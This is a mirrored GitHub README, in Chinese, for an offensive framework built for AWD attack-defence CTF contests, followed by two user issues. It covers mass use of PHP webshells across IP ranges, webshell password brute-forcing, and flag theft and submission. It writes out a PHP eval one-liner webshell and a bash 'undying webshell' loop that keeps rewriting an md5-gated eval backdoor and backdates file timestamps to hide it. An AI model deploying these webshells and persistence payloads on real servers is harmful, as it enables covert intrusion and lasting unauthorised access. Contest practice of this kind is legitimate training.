Coder Social home page Coder Social logo

awd-predator-framework's Introduction

AWD Predator Framework v2.0                   

          --code by AresX       
  • 在AWD攻防赛中通过给定的webshell批量获取提交flag

  • 为不会现场挖洞写脚本的菜鸡准备

  • 用py去实现菜刀是一件代码量很大的事情,懒得做也不会做(以后可能会做),所以需要手动设置一句话的功能函数和方法

  • 针对简单的单参数传递的一句话和特定的加密一句话

启动

python console.py

webshell

添加已知的webshell,仅支持php,GET和POST方法使用eval和exec函数的一句话木马

添加webshell

命令add

使用方法: add [shell path] [pwd] [type(eval/exec)] [method(get/post)]

如一句话为<?php @eval($_POST[‘cmd’]);?> 路径为x.x.x.x:8001://index/cmd.php

一句话密码为cmd 功能函数为eval 方法为POST

example:add :8001/index/cmd.php cmd eval post

注意这里添加一句话路径不加ip地址,ip地址要使用命令ip生成

命令执行后webshell的路径和密码会以字典的形式储存

处理了使用md5加密的eval函数一句话,

get方法在添加时,可添加带md5加密的密码的路径

如:add :8003/x.php?pass=fuckyou x eval get

post方法请在flag.py中修改for j in POST_eval_shells_path_pwd:循环中的eval_POST_data['pass']为自己的密码,密码将被自动传递

post添加方法同add :8001/index/cmd.php cmd eval post

显示添加的webshell

命令show

将显示所有添加的webshell路径和密码

保存,读取,清空webshell

保存已经添加的webshell路径和密码,方便临场修改代码

保存:save 读取:load 清空:clear //清空不会清空已经储存的webshell,除非在清空后执行保存命令

Webshell爆破

采用一种提速千倍的爆破方法

命令: crack http://xxx.php

字典储存在auxi/pwd.txt中,可自行完善字典

iplist

根据输入生成指定段的ip列表

生成列表

命令: ip x.x.a-b.x

可设定acb任意段的ip列表,使用'-'连接左右区间

添加指定ip

命令: ip x.x.x.x

执行命令后,x.x.x.x将被添加到ip列表中,会自动去除重复项和进行排序

查看已经生成的列表

命令: showip

显示生成的ip列表

清空ip列表

命令: clearip

去掉指定ip

命令: removeip x.x.x.x

flag

通过iplist和webshell获取flag,将获取到的flag提交到指定服务器

获取flag

遍历iplist中所有的地址尝试通过所有已经添加的webshell获取flag,在执行此命令前需设定iplist,否则报错

命令:getflag [command]

example:getflag curl www.baidu.com/flag.txt

获取命令如果不需要修改只需完整输入一次,之后可直接执行getflag

查看flag

命令: showflag

提交flag

攻防赛环境中获取到的flag通常不是标准格式,flag.py中的submit_flag函数中已经使用了re.compile(r'flag{\w+?}')尝试匹配标准flag格式 如果出现问题,请自行在flag.py文件的submit_flag函数中使用正则匹配获得标准flag进行提交

提交flag 需设定提交flag的链接,以及cookie和data,使用"?"替换flag在data中所在的参数

命令: submit [url] [cookie] [data](use '?' replace the flag )

example: submit http:xxx.xxx.xx/xx/ JSESSIONID=A6F8;route=6cf03 pid=-1&pidName=&flag=? 去掉cookie中的空格,data中flag所在位置需用?代替!

提交命令如果不需要修改只需完整输入一次,之后可直接执行submit

submit完成之后会有清空flag的选项(y/n)

清空flag

命令: clearflag

上传

文件木马上传

命令: upload <file>(default='auxi/shell.php')

默认上传文件为auxi/shell.php 如需使用修改默认文件,默认文件为加密不死马

如需上传其他文件,将文件储存在auxi/目录下

执行upload xxx即可

如上传默认文件,直接执行upload

如果文件上传成功,会自动访问一次上传的文件,激活不死马

命令木马上传

命令: cupload

连接一句话执行bash命令生成不死马.index1.php

bash命令为:system('while true;do echo \'<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);} ?>\' >fuck.php;touch -m -d "2017-11-12 10:10:10" .index1.php;sleep 1;done;');

如果要修改请修改command.py中的data[z0]


目录结构

###########
├── Readme.md               //帮助文档 
├── console.py              //启动
├── core                    // 核心模块
│   ├── shells.py           //写入,读取,保存webshell
│   ├── flag.py             // 获取,提交flag
│   ├── iplist.py           // 生成ip列表   
│—— auxi                    //辅助模块
|   |—— upload.py           //webshell上传功能
|   |—— shell.php           //默认上传文件
|   |—— webshell.txt        //一句话储存路径  
|   |—— command.py          //上传bash不死马
|—— data                    //webshell数据储存

awd-predator-framework's People

Contributors

ares-x avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

awd-predator-framework's Issues

能crack经过md5加密的一句话shell吗?

简单测试了一下,发现对md5加密处理后的php一句话,好像无法crack,可能是由于加密过程中除了密码,还用到另外一个自定义变量,用于密码正确后执行。

readme里面的add添加命令好像与实际不太一样

先谢谢作者提供的这个框架!
测试了几个虚机web站点,当webshell的url需要带端口时,readme里面给出的命令是 add :8001://index/cmd.php cmd eval post
而这个格式在测试时未通过,然后用 add:8001/index/cmd.php cmd eval post可以通过
不知说明文档中此处格式是否有误?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.